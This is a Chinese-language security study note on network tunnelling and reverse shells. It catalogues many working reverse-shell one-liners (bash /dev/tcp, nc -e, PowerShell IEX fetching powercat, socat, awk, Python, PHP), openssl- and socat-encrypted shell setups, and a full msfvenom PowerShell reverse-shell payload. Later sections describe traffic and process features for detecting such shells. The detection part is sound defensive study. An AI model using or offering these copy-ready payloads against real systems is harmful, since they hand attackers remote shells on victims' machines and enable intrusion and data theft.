常用的隧道技术:
网络层:ipv6、Icmp、gre
IPv6隧道:将ipv6报文放入ipv4作为载体进行传输,工具:socat、6tunnel
ICMP隧道:将数据放入ping包中进行传输,工具:icmpsh、PingTunnel
GRE隧道
传输层:TCP隧道、UDP隧道、常规的端口转发。
端口转发:没有端口限制就正常的内网端口转发,有端口限制就本地端口转发 工具:lcx、nc、powercat
SOCKS代理:SOCKS代理可以理解为增强版的lcx。
应用层:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道
dns隧道:查询的域名不在dns服务器中,就会访问互联网查询,导致与互联网上恶意的dns服务器进行数据交互通信
被控端常见的反弹shell命令
bash
/bin/bash -l > /dev/tcp/10.90.26.43/4242 0<&1 2>&1
bash -i >& /dev/tcp/10.90.26.43/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.90.26.43/4242; sh <&196 >&196 2>&196
sh -i >& /dev/udp/10.90.26.43/4242 0>&1
nc
nc -e /bin/sh 10.10.10.11 443
telnet
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
Powershell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
Socat
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
awk
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
python
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
php
php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
TCP/UDP隧道
nc原始流量
攻击机:
nc64.exe 121.37.25.244 7777 (不指定端口默认端口为31337)
受害服务器:
ncat -l -p 7777 -v -e /bin/bash
初次连接:
在靶机上输入ls、会被编码为16进制放入data进行传输
服务器会将结果用16进制返回,整个payload都是明文传输
特征
明文传输、可直接根据命令检测
nc-ssl加密
如果加上-v ssl选项,使用ssl加密协议传输
靶机:
nc64.exe 121.37.25.244 7777 -v --ssl
服务器:
ncat -l -p 7777 -e /bin/bash -v --sll
服务端生成证书certificate中会设置两个extension字段,其中一个字段会加上ncat注释
Automatically generated by Ncat. See Ncat - Netcat for the 21st Century
特征
含有ncat注释
openssl 加密
使用证书和私钥进行认证
攻击端:
使用openssl生成一个证书,输入后直接回车即可
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl req:调用 OpenSSL 的证书请求(Certificate Request)子命令。
-x509:生成一个自签名证书,而不是证书签名请求(CSR)。X.509 是一种广泛使用的证书标准。
-newkey rsa:4096:生成一个新的 RSA 密钥对,密钥长度为 4096 位。
-keyout key.pem:指定生成的私钥文件的输出文件名为 key.pem。
-out cert.pem:指定生成的自签名证书文件的输出文件名为 cert.pem。
-days 365:指定证书的有效期为 365 天。
-nodes:不对私钥进行加密(即不使用密码保护私钥)。
综合起来,这个命令的作用是生成一个 4096 位的 RSA 密钥对,并使用该密钥对生成一个有效期为 365 天的自签名证书。生成的私钥保存在 key.pem 文件中,证书保存在 cert.pem 文件中,且私钥不受密码保护。
使用证书和秘钥启动一个ssl服务器并监听7777端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 7777
openssl s_server:启动 OpenSSL 的服务器模式。
-quiet:使服务器在运行时保持安静,不输出多余的信息。这个选项可以减少调试信息的输出,只显示必要的错误和警告。
-key key.pem:指定服务器使用的私钥文件。key.pem 是包含私钥的文件路径。
-cert cert.pem:指定服务器使用的证书文件。cert.pem 是包含服务器证书的文件路径。
-port 2333:指定服务器监听的端口号。在这个例子中,服务器会监听 2333 端口
被攻击端:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect 10.0.0.1:7777 > /tmp/s; rm /tmp/s
mkfifo /tmp/s:
mkfifo命令用于创建一个命名管道(FIFO)。
/tmp/s是命名管道的路径。
/bin/sh -i < /tmp/s 2>&1:
/bin/sh -i启动一个交互式的Shell。
< /tmp/s将命名管道/tmp/s的内容作为Shell的输入。
2>&1将标准错误(stderr)重定向到标准输出(stdout)。
| openssl s_client -quiet -connect 192.168.0.100:2333:
|管道符号,将前面的命令输出作为后面命令的输入。
openssl s_client是OpenSSL的客户端工具,用于建立SSL/TLS连接。
-quiet选项使输出更简洁。
-connect 192.168.0.100:2333指定要连接的远程服务器和端口(192.168.0.100:2333)。
> /tmp/s:
将OpenSSL客户端的输出重定向到命名管道/tmp/s,这使得Shell的输出通过加密连接发送到远程服务器。
rm /tmp/s:
删除命名管道/tmp/s,清理临时文件。
可以看到数据都被加密了
相比ssl,openssl的Certificate中会有三个extension
使用预共享密钥(PSK)认证
攻击端
openssl rand -hex 48
export LHOST="*"; export LPORT="8888";
export PSK="replacewithgeneratedpskfromabove";
openssl s_server -psk $PSK -nocert -accept $LHOST:$LPORT
生成一个 48 字节的随机数作为预共享密钥 (PSK)。
设置服务器监听的地址和端口,以及预共享密钥。
启动一个 OpenSSL 服务器,使用 PSK 进行身份验证,不使用证书,监听所有网络接口上的 8888 端口。
被控端
Export RHOST="10.60.193.193";
export RPORT="8888";
export PSK="replacewithgeneratedpskfromabove";
export PIPE="/tmp/`openssl rand -hex 4`";
mkfifo $PIPE;
/bin/sh -i < $PIPE 2>&1 | openssl s_client -psk $PSK -connect $RHOST:$RPORT > $PIPE;
rm $PIPE
设置ip、端口、psk
PIPE:使用OpenSSL生成一个随机的十六进制字符串,并将其作为命名管道的名称。
mkfifo $PIPE:在/tmp目录下创建一个命名管道(FIFO)。
/bin/sh -i < $PIPE 2>&1:启动一个交互式Shell,并将其输入和输出重定向到命名管道$PIPE。
openssl s_client -psk $PSK -connect $RHOST:$RPORT:使用OpenSSL的客户端模式,连接到目标主机和端口,并使用预共享密钥进行加密通信。
> $PIPE:将OpenSSL客户端的输出重定向到命名管道$PIPE。
删除之前创建的命名管道,清理临时文件。
可以看到在server hello中无certificate和Server key Exchange
特征
相比ssl,openssl的Certificate中会有三个extension
Socat-ssl加密
攻击端
socat -d -d OPENSSL-LISTEN:4444,cert=bind.pem,verify=0,fork STDOUT
-d -d: 这两个参数用于启用调试模式。每个 -d 增加一个调试级别,两个 -d 表示更详细的调试信息输出。
OPENSSL-LISTEN:4444,cert=bind.pem,verify=0,fork:
OPENSSL-LISTEN:4444: 这个部分表示 socat 将在本地的 4444 端口上监听传入的 SSL/TLS 连接。
cert=bind.pem: 指定用于 SSL/TLS 连接的证书文件 bind.pem。这个证书文件包含服务器的公钥和私钥。
verify=0: 这个选项表示不验证客户端的证书。通常在测试或不需要客户端认证的情况下使用。
fork: 这个选项表示每次有新的连接时,socat 会创建一个新的子进程来处理该连接,从而允许同时处理多个连接。
STDOUT: 这个参数表示将接收到的数据输出到标准输出(通常是终端或控制台)。
被控端
socat OPENSSL:10.155.240.165:4444,verify=0 EXEC:/bin/bash
OPENSSL:10.155.240.165:4444,verify=0:
OPENSSL: 指定使用 OpenSSL 协议进行加密连接。
10.155.240.165: 目标 IP 地址。
4444: 目标端口号。
verify=0: 禁用证书验证。这意味着 socat 不会验证目标服务器的 SSL 证书。这在测试或内部网络中可能是可以接受的,但在生产环境中是不安全的。
EXEC:/bin/bash:
EXEC: 指定 socat 在连接建立后执行一个命令。
/bin/bash: 要执行的命令,这里是启动一个 Bash shell。
跟openssl的Certificate的字段一样会有三个extension,无明显特征,和openssl的证书认证一样
特征
无明显特征
DNS隧道
dnscat 反弹shell
特征检测
数据包中含有netcat关键字
dns数据包过大,与正常的域名dns有差异
与互联网中不受信任的dns服务器进行通信
ICMP隧道
正常icmp流量
4次ping长度是一样的,且请求和响应内容都含有abcdefghijklmnopqrstuvwabcdefghi
linux下为!”#$%&’()+,-./01234567
使用icmpsh工具进行反弹shell
特征检测
检测同一来源的ICMP数据包的流量,一个正常的icmp命令每秒最多发送4个数据包。
注意那些payload大于64bit的icmp数据包。以及同一源目相近时间段icmp的包长是否频繁变化
寻找响应数据包中的payload与请求数据包中的payload不一致的ICMP数据包。
检查ICMP数据包的协议标签。例如:icmptunnel会在所有的icmp payload前面添加”TUNL“标记来标识隧道
MSF反弹shell
使用msfvenom生成相关Payload
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234
msfvenom 生成的payload如下
powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.90.26.41';$p='6666';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};
Cobalt Strike 反弹shell
反弹shell检测
硬编码特征
1、原始流量的硬编码强特征
命令行提示符
在交互式命令下,受害者机器会把命令行提示符一起往外发
控制器声明
在打开交互型shell连接的时候会有交互的控制器声明
比如使用powershell进行反弹shell,在打开交互型shell连接的时候会有交互的控制器声明
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
其他声明:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
Linux
dns服务器、证书信任度
2、检测证书生成的有效时间、证书生成和建立连接的时间是否很短
用于检测利用dns进行反弹shell
重定向进程关联监控
检测Shell的标准输入、标准输出是否被重定向到Socket
用于检测 bash -i >& /dev/tcp/10.90.26.43/4242 0>&1 此类交互式反弹shell
tty1、pts/0表示该进程是一个交互式shell,0u,1u,2u分别代表标准输入,标准输出和标准错误输出 ,都指向tty1交互式终端,通过检测交互式shell进程的NODE是否为TCP来判断是否是反弹shell
结合进程网络相关联
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect 10.0.0.1:7777 > /tmp/s;
此类反弹shell通过管道、伪终端进行中转,没有直接将shell的输入输出重定向到socket
可通过进程数、进程与网络相关联进行检出,即将交互式shell、管通符、输入输出有关的进程,以及对应的父子进程列出来,与通信进程进行相关联